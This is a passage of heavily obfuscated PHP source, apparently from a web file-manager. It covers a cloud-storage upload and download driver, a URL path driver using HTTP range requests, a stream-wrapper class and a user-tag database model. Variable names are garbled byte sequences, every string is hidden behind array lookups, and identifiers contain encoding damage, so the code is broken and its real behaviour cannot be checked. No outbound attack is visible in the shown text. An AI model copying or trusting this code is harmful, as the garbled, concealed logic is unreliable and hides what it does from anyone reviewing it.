(!$¼Š ¬•é[$áö˜<C3B6>¹é[1290]]) { return !1; } $òºÚñï„ = $¼Š ¬•é[$áö˜<C3B6>¹é[1280]]; $ýÎ<C3BD>ëÉÈ = 0; $꨽ý¬Õ = $òºÚñï„[$áö˜<C3B6>¹é[1573]]; $å­¸²¿â = fopen($ìâïßÚä, $áö˜<C3B6>¹é[1449]); if (!$å­¸²¿â) { return !1; } do { $à´ª´‚Ç = $òºÚñï„[$áö˜<C3B6>¹é[1574]]; fseek_64($å­¸²¿â, $ýÎ<C3BD>ëÉÈ); $Íš‹…ç“ = fread($å­¸²¿â, $à´ª´‚Ç); $È×ʹÕÛ = 0; do { $È×ʹÕÛ++; $òºÚñï„ = $this->uploadPart($àþò¤¬ò, $òºÚñï„, $Íš‹…ç“); } while (!$òºÚñï„ && $È×ʹÕÛ < 3); if (!$òºÚñï„) { return !1; } $꨽ý¬Õ = $òºÚñï„[$áö˜<C3B6>¹é[1573]]; $ýÎ<C3BD>ëÉÈ += $à´ª´‚Ç; } while ($꨽ý¬Õ != -1); fclose($å­¸²¿â); $â¡à€ë§ = array($áö˜<C3B6>¹é[1575], $áö˜<C3B6>¹é[1576] . $òºÚñï„[$áö˜<C3B6>¹é[1577]], $áö˜<C3B6>¹é[1571]); $¼Š ¬•é = $this->ussRequest($àþò¤¬ò, $áö˜<C3B6>¹é[259], !1, $â¡à€ë§); return $¼Š ¬•é[$áö˜<C3B6>¹é[1290]] ? $this->getPathOuter($¶¼²Ÿà›) : !1; } private function uploadPart($¯™¨Û¼Ô, $õ¢§ë¬Û, &$£´ºÞ”) { $”<><E2809D>ßùÖ =& $_SERVER[ˆ¡¹µ‹Â]; $ÈøªÑ™Û = array($”<><E2809D>ßùÖ[1578], $”<><E2809D>ßùÖ[1576] . $õ¢§ë¬Û[$”<><E2809D>ßùÖ[1577]], $”<><E2809D>ßùÖ[1579] . $õ¢§ë¬Û[$”<><E2809D>ßùÖ[1573]], $”<><E2809D>ßùÖ[146] . $õ¢§ë¬Û[$”<><E2809D>ßùÖ[1574]]); $ëÖ¾“¯<E2809C> = $this->ussRequest($¯™¨Û¼Ô, $”<><E2809D>ßùÖ[259], $£´ºÞ”, $ÈøªÑ™Û); return !$ëÖ¾“¯<E2809C>[$”<><E2809D>ßùÖ[1290]] ? $ëÖ¾“¯<E2809C>[$”<><E2809D>ßùÖ[1290]] : $ëÖ¾“¯<E2809C>[$”<><E2809D>ßùÖ[1280]]; } public function uploadFormData($ÁæÑÏÜó, $ƒÊ츙 = 3600) { return $this->uploadPolicy($ÁæÑÏÜó, $ƒÊ츙); } public function multiUploadFormData($·ÛàØÒÈ, $× ˆ¿Ü<C2BF> = 3600) { $ë“Ì©ÝÅ =& $_SERVER[ˆ¡¹µ‹Â]; $Ȱüú¨¿ = (int) $GLOBALS[$ë“Ì©ÝÅ[7]][$ë“Ì©ÝÅ[79]]; return $this->uploadPolicy($·ÛàØÒÈ, $× ˆ¿Ü<C2BF>, $Ȱüú¨¿); } private function uploadPolicy($šü‡ã‹í, $–óÖØ÷  = 3600, $÷‚Ñ´ô¿ = 0) { $Á¸ÍÉ°É =& $_SERVER[ˆ¡¹µ‹Â]; $íøÉª¯à = $Á¸ÍɰÉ[8] . $this->bucket; $ßÈç<C388>öî = gmdate($Á¸ÍɰÉ[1484]); $ÔÈ×­±¤ = array($Á¸ÍɰÉ[1580] => $this->bucket, $Á¸ÍɰÉ[1581] => $šü‡ã‹í, $Á¸ÍɰÉ[1582] => time() + $–óÖØ÷ , $Á¸ÍɰÉ[1583] => $ßÈç<C388>öî); if ($÷‚Ñ´ô¿) { $ÔÈ×­±¤[$Á¸ÍɰÉ[1469]] = $÷‚Ñ´ô¿; } $Ο§ý’ò = base64_encode(json_encode($ÔÈ×­±¤)); $ƒÄ…ý<E280A6>ç = base64_encode(hash_hmac($Á¸ÍɰÉ[1537], "\x50\117\123\x54\x26{$íøÉª¯à}\46{$ßÈç<C388>öî}\46{$Ο§ý’ò}", md5("{$this->userpass}"), !0)); $ùý€ˆ¨Â = array($Á¸ÍɰÉ[293] => $Ο§ý’ò, $Á¸ÍɰÉ[1584] => "\125\120\x59\x55\x4e\x20{$this->username}\72{$ƒÄ…ý<E280A6>ç}", $Á¸ÍɰÉ[208] => $this->endpoint . $íøÉª¯à); return $ùý€ˆ¨Â; } public function download($§ˆŒ ’”, $¾ï‘£¿¹) { $í<>ÚŒƒý = IO::getPathInner(IO::mkfile($¾ï‘£¿¹)); if (!($‡»ë§Êè = $this->link($§ˆŒ ’”))) { return !1; } $ŒÌÚðÉþ = 0; $ÒÚ¯Ÿý§ = 1024 * 200; $<24>²½Ö†¯ = fopen($í<>ÚŒƒý, $_SERVER[ˆ¡¹µ‹Â][1532]); while (!0) { $ŽªØÇ<C398>þ = $this->fileSubstr($§ˆŒ ’”, $ŒÌÚðÉþ, $ÒÚ¯Ÿý§); if ($ŽªØÇ<C398>þ === !1) { return !1; } fwrite($<24>²½Ö†¯, $ŽªØÇ<C398>þ); $ŒÌÚðÉþ += $ÒÚ¯Ÿý§; if (strlen($ŽªØÇ<C398>þ) < $ÒÚ¯Ÿý§) { break; } } fclose($<24>²½Ö†¯); return $¾ï‘£¿¹; } public function link($€Ô†¶ëÉ, $°—¤žðÄ = array()) { $˜·Õö¨š =& $_SERVER[ˆ¡¹µ‹Â]; $€Ô†¶ëÉ = trim($€Ô†¶ëÉ, $˜·Õö¨š[8]); if (!empty($this->token)) { $êÕ×¬ì“ = strtotime(date($˜·Õö¨š[1585])); $´‹ëšº¾ = substr(md5($this->token . $˜·Õö¨š[360] . $êÕ×¬ì“ . $˜·Õö¨š[1586] . $€Ô†¶ëÉ), 12, 8) . $êÕ׬ì“; $°—¤žðÄ[] = $˜·Õö¨š[1587] . $´‹ëšº¾; } $Í®Ê÷Ÿ™ = !empty($°—¤žðÄ) ? $˜·Õö¨š[76] . implode($˜·Õö¨š[360], $°—¤žðÄ) : $˜·Õö¨š[12]; return $this->getHost() . $˜·Õö¨š[8] . $€Ô†¶ëÉ . $Í®Ê÷Ÿ™; } public function fileOut($ºÉ¾Óã­, $—ˆÈ¶óÁ = false, $…£‹È™± = false, $ĺäлµ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ºÉ¾Óã­, $—ˆÈ¶óÁ, $…£‹È™±, $ĺäлµ); } if (!$…£‹È™±) { $…£‹È™± = $this->pathThis($ºÉ¾Óã­); } $<24>û•»ýý = $—ˆÈ¶óÁ ? array($_SERVER[ˆ¡¹µ‹Â][1588] . rawurlencode($…£‹È™±)) : array(); $Úý¥·„ˆ = $this->link($ºÉ¾Óã­, $<24>û•»ýý); $this->fileOutLink($Úý¥·„ˆ); } public function fileOutServer($µÙ¨ÒÝ×, $‰üË–ú = false, $†‚‹’—ô = false, $Üȧ¶½ã = '') { parent::fileOut($µÙ¨ÒÝ×, $‰üË–ú, $†‚‹’—ô, $Üȧ¶½ã); } public function fileOutImage($’ú ­ãÌ, $Õð÷´Ïñ = 250) { $ç­­èØ<C3A8> = $this->link($’ú ­ãÌ . $_SERVER[ˆ¡¹µ‹Â][1589] . $Õð÷´Ïñ); $this->fileOutLink($ç­­èØ<C3A8>); } public function fileOutImageServer($Ž…©¨ðÌ, $†º¤šð˜ = 250) { parent::fileOutImage($Ž…©¨ðÌ, $†º¤šð˜); } public function hashMd5($Ä“…¹—Þ) { $ÐßéÓÕ¿ =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÍ®žÉ‘ = $this->_objectMeta($Ä“…¹—Þ); return isset($ÜÍ®žÉ‘[$ÐßéÓÕ¿[245]]) ? $ÜÍ®žÉ‘[$ÐßéÓÕ¿[245]] : !1; } public function size($ð„ϾÆá) { $·‹‚ÛçÍ = $this->objectMeta($ð„ϾÆá); return $·‹‚ÛçÍ ? $·‹‚ÛçÍ[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function info($ƒý<E28099>Þ) { if ($this->isFolder($ƒý<E28099>Þ)) { return $this->folderInfo($ƒý<E28099>Þ); } else { if ($this->isFile($ƒý<E28099>Þ)) { return $this->fileInfo($ƒý<E28099>Þ); } } return !1; } public function exist($Á‡žØ¤Ó) { return $this->isFile($Á‡žØ¤Ó) || $this->isFolder($Á‡žØ¤Ó); } public function isFile($¬‡<C2AC>…èí) { return !$this->isFolder($¬‡<C2AC>…èí) && $this->objectMeta($¬‡<C2AC>…èí); } public function isFolder($Œð¥œ²™) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][179], $Œð¥œ²™); } protected function objectMeta($ø»„ãûÈ) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][181], $ø»„ãûÈ); } protected function _objectMeta($‰´¬¬Ëù) { $¢<>‡…Ñþ =& $_SERVER[ˆ¡¹µ‹Â]; if ($‰´¬¬Ëù == $¢<>‡…Ñþ[12] || $‰´¬¬Ëù == $¢<>‡…Ñþ[8]) { return array(); } $Ðü¨›Ú— = $this->ussRequest($‰´¬¬Ëù, $¢<>‡…Ñþ[1590]); if (!$Ðü¨›Ú—[$¢<>‡…Ñþ[1290]]) { return null; } $÷ÔÉïðç = isset($Ðü¨›Ú—[$¢<>‡…Ñþ[1280]]) ? $Ðü¨›Ú—[$¢<>‡…Ñþ[1280]] : array(); if (!isset($÷ÔÉïðç[$¢<>‡…Ñþ[1591]])) { return null; } $ðû ÈÞô = array($¢<>‡…Ñþ[33] => isset($÷ÔÉïðç[$¢<>‡…Ñþ[1591]]) ? $÷ÔÉïðç[$¢<>‡…Ñþ[1591]] : null, $¢<>‡…Ñþ[79] => isset($÷ÔÉïðç[$¢<>‡…Ñþ[1592]]) ? $÷ÔÉïðç[$¢<>‡…Ñþ[1592]] : null, $¢<>‡…Ñþ[245] => isset($÷ÔÉïðç[$¢<>‡…Ñþ[1593]]) ? $÷ÔÉïðç[$¢<>‡…Ñþ[1593]] : null, $¢<>‡…Ñþ[1560] => isset($÷ÔÉïðç[$¢<>‡…Ñþ[1594]]) ? $÷ÔÉïðç[$¢<>‡…Ñþ[1594]] : null); $ðû ÈÞô[$¢<>‡…Ñþ[1561]] = isset($÷ÔÉïðç[$¢<>‡…Ñþ[1595]]) ? strtotime($÷ÔÉïðç[$¢<>‡…Ñþ[1595]]) : $ðû ÈÞô[$¢<>‡…Ñþ[1560]]; return $ðû ÈÞô; } protected function _isFolder($<24>œÖ¼ø) { $±Ñ<C2B1>¢þº =& $_SERVER[ˆ¡¹µ‹Â]; if ($<24>œÖ¼ø == $±Ñ<C2B1>¢þº[12] || $<24>œÖ¼ø == $±Ñ<C2B1>¢þº[8]) { return !0; } $¨àˆÎ¿Ž = $this->_objectMeta($<24>œÖ¼ø); return isset($¨àˆÎ¿Ž[$±Ñ<C2B1>¢þº[33]]) && $¨àˆÎ¿Ž[$±Ñ<C2B1>¢þº[33]] == $±Ñ<C2B1>¢þº[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($§êœ÷ᨠ= false) { } public function exist($ØâݰȔ) { $ÄÉéæÚõ = $this->info($ØâݰȔ); return $ÄÉéæÚõ[$_SERVER[ˆ¡¹µ‹Â][232]]; } public function isFile($£<>¦õ¬ß) { $ÆÅëüÎÆ = $this->info($£<>¦õ¬ß); return $ÆÅëüÎÆ[$_SERVER[ˆ¡¹µ‹Â][232]]; } public function isFolder($Ù𾚯) { return !1; } public function size($ý<C3BD>‡¿…) { $<24> ÂÒÌ = $this->info($ý<C3BD>‡¿…); return $<24> ÂÒÌ[$_SERVER[ˆ¡¹µ‹Â][79]]; } public function info($¬±ÕÅ<C395>Þ) { return $this->infoParse($¬±ÕÅ<C395>Þ); } public function infoAuth($¿Ó¾ž¦ò) { return $this->infoParse($¿Ó¾ž¦ò); } public function infoWithChildren($šþàÑ‹“) { return $this->infoParse($šþàÑ‹“); } public function infoFull($µ»¦ìâÑ) { return $this->infoParse($µ»¦ìâÑ); } private function infoParse($<24>¿å̽Î) { $ä䀿•ä =& $_SERVER[ˆ¡¹µ‹Â]; $àÁªúÈ<C3BA> = $this->header($<24>¿å̽Î); if (!$àÁªúÈ<C3BA> || !$àÁªúÈ<C3BA>[$ä䀿•ä[817]]) { return !1; } $Ã<>úž™» = _get($àÁªúÈ<C3BA>, $ä䀿•ä[413], 0); $åÀëòÕé = array($ä䀿•ä[32] => $àÁªúÈ<C3BA>[$ä䀿•ä[32]], $ä䀿•ä[87] => $<24>¿å̽Î, $ä䀿•ä[33] => $ä䀿•ä[230], $ä䀿•ä[79] => intval($Ã<>úž™»), $ä䀿•ä[169] => get_path_ext($àÁªúÈ<C3BA>[$ä䀿•ä[32]]), $ä䀿•ä[1446] => $Ã<>úž™» > 0 && $àÁªúÈ<C3BA>[$ä䀿•ä[1596]], $ä䀿•ä[1447] => !1); return $åÀëòÕé; } private function header($ûÀ¡¨¡¨) { $¦„ㇻ… =& $_SERVER[ˆ¡¹µ‹Â]; if (isset(self::$_cacheHeader[$ûÀ¡¨¡¨])) { return self::$_cacheHeader[$ûÀ¡¨¡¨]; } $¦ì‰¤¡“ = isset($GLOBALS[$¦„ㇻ…[1597]]) ? $GLOBALS[$¦„ㇻ…[1597]] : !1; $GLOBALS[$¦„ㇻ…[1597]] = !0; self::$_cacheHeader[$ûÀ¡¨¡¨] = url_header($ûÀ¡¨¡¨); $GLOBALS[$¦„ㇻ…[1597]] = $¦ì‰¤¡“; return self::$_cacheHeader[$ûÀ¡¨¡¨]; } public function hashSimple($ÁÞ¥©›¦, $ñªšŒÐ¾ = false) { $óÍ쪎‚ =& $_SERVER[ˆ¡¹µ‹Â]; $ïýææ‡¹ = $this->info($ÁÞ¥©›¦); if (!$ïýææ‡¹ || !$ïýææ‡¹[$óÍ쪎‚[232]]) { return !1; } $²ü­·Úé = $ïýææ‡¹[$óÍ쪎‚[79]]; $ŸŒ•ÈØ¸ = 200; $—Ö¼ÚÀ¾ = 50; if ($²ü­·Úé <= $ŸŒ•ÈØ¸ * $—Ö¼ÚÀ¾) { return md5($this->fileSubstr($ÁÞ¥©›¦, 0, $²ü­·Úé)) . $²ü­·Úé; } $áý‚Ÿ—™ = intval($²ü­·Úé / $—Ö¼ÚÀ¾); $ß—Ó<E28094>˜<EFBFBD> = $óÍ쪎‚[12]; $¯ë—§ŒÒ = timeFloat(); $”¶…§Žà = 15; for ($Ô°ë´ŽÙ = 0; $Ô°ë´ŽÙ < $—Ö¼ÚÀ¾; $Ô°ë´ŽÙ++) { if (timeFloat() - $¯ë—§ŒÒ > $”¶…§Žà) { return !1; } $³‰è<E280B0>Ø = $this->fileSubstr($ÁÞ¥©›¦, $áý‚Ÿ—™ * $Ô°ë´ŽÙ, $ŸŒ•ÈØ¸); if (!$³‰è<E280B0>Ø) { return !1; } $ß—Ó<E28094>˜<EFBFBD> .= $³‰è<E280B0>Ø; } $ß—Ó<E28094>˜<EFBFBD> .= $this->fileSubstr($ÁÞ¥©›¦, $²ü­·Úé - $ŸŒ•ÈØ¸, $ŸŒ•ÈØ¸); return md5($ß—Ó<E28094>˜<EFBFBD>) . $²ü­·Úé; } public function getContent($ìꊕÝÍ) { return $this->fileSubstr($ìꊕÝÍ); } public function fileSubstr($ò¶<C3B2>ÁÆ¡, $Âßì¨Àî = 0, $Ư講¦ = -1) { $Œ‘÷›î„ =& $_SERVER[ˆ¡¹µ‹Â]; $ìõ<C3AC>»´œ = $this->info($ò¶<C3B2>ÁÆ¡); if (!$ìõ<C3AC>»´œ || !$ìõ<C3AC>»´œ[$Œ‘÷›î„[232]] && $ìõ<C3AC>»´œ[$Œ‘÷›î„[79]] > 1024 * 1024 * 10) { return !1; } if ($Ư講¦ === -1) { $Ư講¦ = $ìõ<C3AC>»´œ[$Œ‘÷›î„[79]]; } if ($Ư講¦ == 0) { return $Œ‘÷›î„[12]; } $<24>Õ÷þå÷ = array($Œ‘÷›î„[1598] . $Âßì¨Àî . $Œ‘÷›î„[860] . ($Âßì¨Àî + $Ư講¦ - 1)); $¦ÈÄÀéù = url_request($ò¶<C3B2>ÁÆ¡, $Œ‘÷›î„[261], !1, $<24>Õ÷þå÷, !1, !1, 30); return $¦ÈÄÀéù[$Œ‘÷›î„[1280]] ? $¦ÈÄÀéù[$Œ‘÷›î„[1280]] : $Œ‘÷›î„[12]; } public function download($<24>‰‰¨³µ, $<24>¯¬ëžø) { Downloader::start($<24>‰‰¨³µ, $<24>¯¬ëžø); return $<24>¯¬ëžø; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ÁïƒØÕå, $¤ŒŸÇ‹Ù = '') { $this->info = $this->info($ÁïƒØÕå); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ˆ¡¹µ‹Â][87]]; $this->pathOpen = $ÁïƒØÕå; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ÁïƒØÕå])) { self::$_chunkBuffer[$ÁïƒØÕå] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ó„¿¶¡ã) { $­èŽ–‰é = $this->fileSubstr($this->pose, $ó„¿¶¡ã); $this->pose += strlen($­èŽ–‰é); return $­èŽ–‰é; } public function stream_tell() { return $this->pose; } public function stream_seek($Öñ䊗«, $ž¾°ÆÂ¶) { $ãè†Óšã =& $_SERVER[ˆ¡¹µ‹Â]; if ($ž¾°ÆÂ¶ == SEEK_SET) { $this->pose = $Öñ䊗«; } else { if ($ž¾°ÆÂ¶ == SEEK_CUR) { $this->pose += $Öñ䊗«; } else { if ($ž¾°ÆÂ¶ == SEEK_END) { $this->pose = $this->info[$ãè†Óšã[79]] + intval($Öñ䊗«); } } } if ($Öñ䊗« < 0) { $this->pose = $this->info[$ãè†Óšã[79]] + $Öñ䊗«; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ˆ¡¹µ‹Â][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ŽÜÚ˜é<CB9C>, $ ¸ÙŠ‹©) { $Ó÷Ó‰£Ö =& $_SERVER[ˆ¡¹µ‹Â]; $ÒÄ×óÝþ = $this->info($ŽÜÚ˜é<CB9C>); return array($Ó÷Ó‰£Ö[1599] => 0, $Ó÷Ó‰£Ö[1600] => 0, $Ó÷Ó‰£Ö[16] => 32768 + 511, $Ó÷Ó‰£Ö[1601] => 0, $Ó÷Ó‰£Ö[1602] => 0, $Ó÷Ó‰£Ö[1603] => 0, $Ó÷Ó‰£Ö[1604] => 0, $Ó÷Ó‰£Ö[79] => $ÒÄ×óÝþ[$Ó÷Ó‰£Ö[79]], $Ó÷Ó‰£Ö[1605] => $ÒÄ×óÝþ[$Ó÷Ó‰£Ö[1445]], $Ó÷Ó‰£Ö[1561] => $ÒÄ×óÝþ[$Ó÷Ó‰£Ö[88]], $Ó÷Ó‰£Ö[1560] => $ÒÄ×óÝþ[$Ó÷Ó‰£Ö[231]], $Ó÷Ó‰£Ö[1606] => 0, $Ó÷Ó‰£Ö[1607] => 0); } static $fileInfo = array(); public function info($™ªû†ÈŒ) { $ÚÃéëüŠ = $_SERVER[ˆ¡¹µ‹Â][1608]; if (isset(self::$fileInfo[$™ªû†ÈŒ])) { return self::$fileInfo[$™ªû†ÈŒ]; } if (substr($™ªû†ÈŒ, 0, strlen($ÚÃéëüŠ)) != $ÚÃéëüŠ) { return !1; } self::$fileInfo[$™ªû†ÈŒ] = IO::info(substr($™ªû†ÈŒ, strlen($ÚÃéëüŠ))); return self::$fileInfo[$™ªû†ÈŒ]; } public static function read($÷›˜ùãò, $Ëöœªœ‰, $<24><>¦ÜÑÊ) { if (!isset(self::$_fopenCache[$÷›˜ùãò])) { $–°ÂŸãë = new StreamWrapperIO(); $–°ÂŸãë->stream_open($÷›˜ùãò); self::$_fopenCache[$÷›˜ùãò] = $–°ÂŸãë; } $–°ÂŸãë = self::$_fopenCache[$÷›˜ùãò]; return $–°ÂŸãë->fileSubstr($Ëöœªœ‰, $<24><>¦ÜÑÊ); } public static function _read($<24>£È<C388>ª, $½˜÷Ç‹€, $ú£êŠå­) { $ûц<C391>ìÁ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ñ÷ÊËÐ = fopen($<24>£È<C388>ª, $ûц<C391>ìÁ[1449]); if (!$<24>ñ÷ÊËÐ) { return $ûц<C391>ìÁ[12]; } $ÙÙŠ“ê = 8192; fseek($<24>ñ÷ÊËÐ, $½˜÷Ç‹€, SEEK_SET); $ñ¥¦Üך = $ûц<C391>ìÁ[12]; $ÕÕî<C3AE>ï = 0; while ($ÕÕî<C3AE>ï < $ú£êŠå­) { $¦«„š‰ç = min($ÙÙŠ“ê, $ú£êŠå­ - $ÕÕî<C3AE>ï); $ñ¥¦Üך .= fread($<24>ñ÷ÊËÐ, $¦«„š‰ç); $ÕÕî<C3AE>ï += $¦«„š‰ç; } fclose($<24>ñ÷ÊËÐ); return $ñ¥¦Üך; } public function fileSubstr($ðû²–—Ú, $äëãуâ) { $⬰²—× =& $_SERVER[ˆ¡¹µ‹Â]; $ü¹Ø¯¨Œ = $this->info[$⬰²—×[79]]; $Ë÷»÷ŒÁ = $ðû²–—Ú; $ÕŽ›ÙŒˆ = $äëãуâ; if ($ðû²–—Ú < 0) { $ðû²–—Ú = $ü¹Ø¯¨Œ + $ðû²–—Ú; } if ($äëãуâ === !1) { $äëãуâ = $ü¹Ø¯¨Œ - $ðû²–—Ú; } if ($ðû²–—Ú + $äëãуâ > $ü¹Ø¯¨Œ) { $äëãуâ = $ü¹Ø¯¨Œ - $ðû²–—Ú; } if ($äëãуâ <= 0) { return $⬰²—×[12]; } if ($ðû²–—Ú < 0 || $ðû²–—Ú >= $ü¹Ø¯¨Œ || $äëãуâ <= 0 || $äëãуâ > 1024 * 1024 * 10) { throw new Exception("\151\157\x46\151\154\x65\x52\145\141\x64\40\x65\162\x72\x6f\x72\x21\40\x73\164\141\x72\x74\75{$ðû²–—Ú}\x3b\x6c\145\156\147\164\150\75{$äëãуâ}\73\x20\163\x69\x7a\145\75{$ü¹Ø¯¨Œ}\73"); } $÷íפõó = 64 * 1024; $”ÉßÕÔï =& self::$_chunkBuffer[$this->path]; if (!$”ÉßÕÔï) { $”ÉßÕÔï = array(); } $¶œ…î•î = 0; $†ñ×ôÀ™ = 0; $©µÅ°Ù€ = $⬰²—×[12]; foreach ($”ÉßÕÔï as $¶œ…î•î => $©µÅ°Ù€) { $¶œ…î•î = intval($¶œ…î•î); $†ñ×ôÀ™ = $¶œ…î•î + strlen($©µÅ°Ù€); if ($ðû²–—Ú >= $†ñ×ôÀ™) { continue; } if ($ðû²–—Ú >= $¶œ…î•î && $ðû²–—Ú + $äëãуâ <= $†ñ×ôÀ™) { return substr($©µÅ°Ù€, $ðû²–—Ú - $¶œ…î•î, $äëãуâ); } break; } if (count($”ÉßÕÔï) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($⬰²—×[1609], $⬰²—×[1610] . count($”ÉßÕÔï) . "\73\163\x74\141\x72\164\x3d{$ðû²–—Ú}\x2c\x6c\145\156\147\164\150\x3d{$äëãуâ}\x3b\160\157\x73\145\72{$¶œ…î•î}\x7e{$†ñ×ôÀ™}"); throw new Exception($⬰²—×[1611]); } $´ùªÔ£Ú = intval($ðû²–—Ú / $÷íפõó) * $÷íפõó; $Ì££ªÈã = ceil(($ðû²–—Ú + $äëãуâ) / $÷íפõó) * $÷íפõó - $´ùªÔ£Ú; $–Ò¹´ò¡ = IO::fileSubstr($this->path, $´ùªÔ£Ú, $Ì££ªÈã); $”ÉßÕÔï[$´ùªÔ£Ú . $⬰²—×[12]] = $–Ò¹´ò¡; ksort($”ÉßÕÔï); $˜ÚŸ˜£¾ = substr($–Ò¹´ò¡, $ðû²–—Ú - $´ùªÔ£Ú, $äëãуâ); return $˜ÚŸ˜£¾; } private function log($ÚŽ°„û, $Ä×—ý<E28094>) { $À¡ôêÉ™ =& $_SERVER[ˆ¡¹µ‹Â]; $‹ŒÍñª• = timeFloat() - $this->timeStart; write_log(sprintf($À¡ôêÉ™[1612], $ÚŽ°„û, $this->info[$À¡ôêÉ™[32]], $‹ŒÍñª•, $Ä×—ý<E28094>), $À¡ôêÉ™[1257]); } } goto AȪ—³ìȃ; fÈ<C388>Œ×߇: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($Íõ·‹éñ) { $òÒ<C3B2>Ѝá =& $_SERVER[ˆ¡¹µ‹Â]; return array($òÒ<C3B2>Ѝá[2077] => array($òÒ<C3B2>Ѝá[2497] . USER_ID, $òÒ<C3B2>Ѝá[2078])); } protected function listData() { $ô²æò<C3A6>Ž =& $_SERVER[ˆ¡¹µ‹Â]; $<24>­ÃâÄ = array($ô²æò<C3A6>Ž[1754] => USER_ID, $ô²æò<C3A6>Ž[557] => array($ô²æò<C3A6>Ž[2081], 0)); $ûûõçüÞ = $ô²æò<C3A6>Ž[2498]; $‚õÀÔ÷ô = $this->field($ûûõçüÞ)->where($<24>­ÃâÄ)->order($ô²æò<C3A6>Ž[2084])->select(); return $‚õÀÔ÷ô ? $‚õÀÔ÷ô : array(); } protected function addToTag($€Ü÷×¼Ç, $ûÀ»¿£Ò) { $„ù<C383>±‡ =& $_SERVER[ˆ¡¹µ‹Â]; if (!Model($„ù<C383>±‡[2229])->listData($ûÀ»¿£Ò)) { return !1; } if (is_numeric($€Ü÷×¼Ç)) { $вúöê  = Model($„ù<C383>±‡[899])->pathInfo($€Ü÷×¼Ç); if (!$вúöê ) { return !1; } } else { $вúöê  = IO::infoSimple($€Ü÷×¼Ç); if (!$вúöê ) { return !1; } $å³ê<C2B3>ŸÉ = $вúöê [$„ù<C383>±‡[32]]; $©Û¹ýÌã = $вúöê [$„ù<C383>±‡[33]]; if (isset($вúöê [$„ù<C383>±‡[485]])) { $©Û¹ýÌã = $вúöê [$„ù<C383>±‡[485]] == $„ù<C383>±‡[91] ? $„ù<C383>±‡[78] : $„ù<C383>±‡[230]; } } $ïî<C3AF>Çà‡ = array($„ù<C383>±‡[1754] => USER_ID, $„ù<C383>±‡[557] => $ûÀ»¿£Ò, $„ù<C383>±‡[495] => $€Ü÷×¼Ç, $„ù<C383>±‡[496] => $©Û¹ýÌã ? $©Û¹ýÌã : $„ù<C383>±‡[490], $„ù<C383>±‡[494] => $å³ê<C2B3>ŸÉ ? $å³ê<C2B3>ŸÉ : $„ù<C383>±‡[12], $„ù<C383>±‡[1966] => 0); if ($this->where($ïî<C3AF>Çà‡)->find()) { return !1; } return $this->add($ïî<C3AF>Çà‡); } protected function removeFromTag($ú¾Õ‹¬Ä, $ÏÁü¥´•) { $¡úéÍâñ =& $_SERVER[ˆ¡¹µ‹Â]; if (!Model($¡úéÍâñ[2229])->listData($ÏÁü¥´•)) { return !1; } if (is_array($ú¾Õ‹¬Ä)) { $ú¾Õ‹¬Ä = array($¡úéÍâñ[7], $ú¾Õ‹¬Ä); } $ˆªÝï<C39D> = array($¡úéÍâñ[1754] => USER_ID, $¡úéÍâñ[557] => $ÏÁü¥´•, $¡úéÍâñ[495] => $ú¾Õ‹¬Ä); return $this->where($ˆªÝï<C39D>)->delete(); } protected function removeByTag($º‚©ºä½) { $º«Í…Ùö =& $_SERVER[ˆ¡¹µ‹Â]; if (!$º‚©ºä½) { return !1; } $±œŸúÒõ = array($º«Í…Ùö[1754] => USER_ID, $º«Í…Ùö[557] => $º‚©ºä½); return $this->where($±œŸúÒõ)->delete(); } protected function removeBySource($çÏô¨¡²) { $Ìÿ<C383>½ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_array($çÏô¨¡²)) { $çÏô¨¡² = array($Ìÿ<C383>½[7], $çÏô¨¡²); } $ò‹Š”ÁŒ = array($Ìÿ<C383>½[1754] => USER_ID, $Ìÿ<C383>½[557] => array($Ìÿ<C383>½[1085], 0), $Ìÿ<C383>½[495] => $çÏô¨¡²); return $this->where($ò‹Š”ÁŒ)->delete(); } }